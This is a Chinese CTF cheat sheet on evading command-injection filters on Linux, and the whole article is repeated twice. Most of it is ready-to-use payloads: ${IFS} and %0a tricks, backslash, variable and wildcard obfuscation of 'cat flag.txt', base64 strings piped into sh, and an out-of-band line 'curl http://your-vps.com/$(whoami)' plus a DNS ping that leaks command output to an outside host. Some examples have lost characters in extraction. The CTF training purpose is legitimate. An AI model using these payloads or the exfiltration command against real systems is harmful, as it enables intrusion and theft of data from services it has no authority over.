CTF命令执行绕过实战手册从基础技巧到高阶组合技在CTF竞赛和安全测试中命令执行漏洞是最常见的攻击面之一。许多新手面对各种过滤规则时往往陷入知道有绕过方法但记不住具体用法的困境。本文将系统梳理Linux命令执行绕过的完整知识体系通过分类归纳实战案例帮助你建立肌肉记忆级别的绕过能力。1. 基础字符替换突破简单过滤1.1 空格绕过全方案当空格被过滤时这些替代方案值得尝试catflag.txt cat${IFS}flag.txt cat$IFS$9flag.txt cat%09flag.txt${IFS}是Linux中的内部字段分隔符默认包含空格、制表符和换行。$IFS$9的$9表示第9个参数通常为空用于隔离后续字符。实际测试中${IFS}在大多数现代系统中兼容性最佳。注意某些环境下会触发重定向而非空格替代需结合上下文使用1.2 命令截断符号大全截断符号允许在单个输入中执行多条命令符号作用使用示例;顺序执行ls;whoami管道传递后台运行sleep 10 逻辑与[ -f flag.txt ] cat flag.txt%0a换行符127.0.0.1%0als在Web应用中%0aURL编码的换行符往往能绕过对传统符号的过滤。2. 命令替代艺术当cat被禁用时2.1 基础阅读命令替换tac flag.txt # 反向输出 more flag.txt # 分页显示 less flag.txt # 可回看的分页 head -n 100 flag.txt # 显示前100行 tail -n 100 flag.txt # 显示后100行 nl flag.txt # 带行号显示 sort flag.txt # 排序输出2.2 高阶变形技巧反斜杠插入c\at fl\ag.tx\t编码转换echo Y2F0IGZsYWcudHh0Cg | base64 -d | sh变量拼接aca;bt;c fl;dag;e.txt;$a$b$c$d$e通配符妙用cat fla* # 匹配所有fla开头的文件 cat fl?g.txt # ?匹配单个字符 cat fl[a-z]g.txt # 字符范围匹配3. 实战组合技多层过滤绕过3.1 案例过滤空格和关键字的绕过假设题目过滤了空格和flag关键词# 使用IFS替代空格通配符绕过关键词 cat${IFS}f???.*3.2 案例无回显场景的带外检测当命令执行无回显时可通过网络请求验证curl http://your-vps.com/$(whoami) # 或使用DNS查询 ping whoami.your-domain.com3.3 综合绕过示例假设环境过滤了空格、cat、flag和常见截断符# 使用变量拼接编码通配符 aYmFzZTY0IC1k;bCg;cZWNobyAn | $a$b | sh f???.???4. 防御视角的绕过原理理解防御机制能帮助我们找到更多绕过路径黑名单过滤尝试非常用命令和编码变形正则匹配利用换行符、注释符打断匹配参数解析通过引号、变量制造解析差异沙箱环境寻找环境变量泄漏或权限配置问题在最近的一次CTF比赛中我遇到一个过滤了所有字母字符的题目。最终通过$(printf \154\163)ls的八进制表示成功列出目录。这种经历让我明白绕过技术的本质是对系统解析逻辑的深度理解。
别再只记cat和空格了:一份给CTF新手的Linux命令执行绕过速查表(含通配符、编码、拼接)
CTF命令执行绕过实战手册从基础技巧到高阶组合技在CTF竞赛和安全测试中命令执行漏洞是最常见的攻击面之一。许多新手面对各种过滤规则时往往陷入知道有绕过方法但记不住具体用法的困境。本文将系统梳理Linux命令执行绕过的完整知识体系通过分类归纳实战案例帮助你建立肌肉记忆级别的绕过能力。1. 基础字符替换突破简单过滤1.1 空格绕过全方案当空格被过滤时这些替代方案值得尝试catflag.txt cat${IFS}flag.txt cat$IFS$9flag.txt cat%09flag.txt${IFS}是Linux中的内部字段分隔符默认包含空格、制表符和换行。$IFS$9的$9表示第9个参数通常为空用于隔离后续字符。实际测试中${IFS}在大多数现代系统中兼容性最佳。注意某些环境下会触发重定向而非空格替代需结合上下文使用1.2 命令截断符号大全截断符号允许在单个输入中执行多条命令符号作用使用示例;顺序执行ls;whoami管道传递后台运行sleep 10 逻辑与[ -f flag.txt ] cat flag.txt%0a换行符127.0.0.1%0als在Web应用中%0aURL编码的换行符往往能绕过对传统符号的过滤。2. 命令替代艺术当cat被禁用时2.1 基础阅读命令替换tac flag.txt # 反向输出 more flag.txt # 分页显示 less flag.txt # 可回看的分页 head -n 100 flag.txt # 显示前100行 tail -n 100 flag.txt # 显示后100行 nl flag.txt # 带行号显示 sort flag.txt # 排序输出2.2 高阶变形技巧反斜杠插入c\at fl\ag.tx\t编码转换echo Y2F0IGZsYWcudHh0Cg | base64 -d | sh变量拼接aca;bt;c fl;dag;e.txt;$a$b$c$d$e通配符妙用cat fla* # 匹配所有fla开头的文件 cat fl?g.txt # ?匹配单个字符 cat fl[a-z]g.txt # 字符范围匹配3. 实战组合技多层过滤绕过3.1 案例过滤空格和关键字的绕过假设题目过滤了空格和flag关键词# 使用IFS替代空格通配符绕过关键词 cat${IFS}f???.*3.2 案例无回显场景的带外检测当命令执行无回显时可通过网络请求验证curl http://your-vps.com/$(whoami) # 或使用DNS查询 ping whoami.your-domain.com3.3 综合绕过示例假设环境过滤了空格、cat、flag和常见截断符# 使用变量拼接编码通配符 aYmFzZTY0IC1k;bCg;cZWNobyAn | $a$b | sh f???.???4. 防御视角的绕过原理理解防御机制能帮助我们找到更多绕过路径黑名单过滤尝试非常用命令和编码变形正则匹配利用换行符、注释符打断匹配参数解析通过引号、变量制造解析差异沙箱环境寻找环境变量泄漏或权限配置问题在最近的一次CTF比赛中我遇到一个过滤了所有字母字符的题目。最终通过$(printf \154\163)ls的八进制表示成功列出目录。这种经历让我明白绕过技术的本质是对系统解析逻辑的深度理解。